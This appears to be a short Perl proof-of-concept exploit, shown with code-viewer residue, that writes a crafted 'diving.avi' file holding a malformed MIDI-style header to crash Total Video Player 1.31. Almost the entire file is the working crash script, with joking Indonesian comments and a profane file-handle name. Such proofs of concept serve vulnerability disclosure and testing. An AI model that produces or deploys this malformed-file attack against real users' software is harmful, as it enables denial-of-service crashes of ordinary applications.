16 lines
No EOL
556 B
Perl
Executable file
16 lines
No EOL
556 B
Perl
Executable file
#!perl
|
|
|
|
#############################################
|
|
# Total Video Player 1.31 (.avi) Local Crash PoC
|
|
# by: diving
|
|
# Thanks: Indonesian 31337 server diving aka loncat indah :)
|
|
# Note: Kalau hanya bisa loncat indah, loncat indah aja. engga usah main kayak ginian
|
|
# main balon sana dodol.
|
|
#############################################
|
|
|
|
|
|
my $diving = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
|
|
#############################################
|
|
open(fuck, "> diving.avi");
|
|
print (fuck $diving);
|
|
############################################# |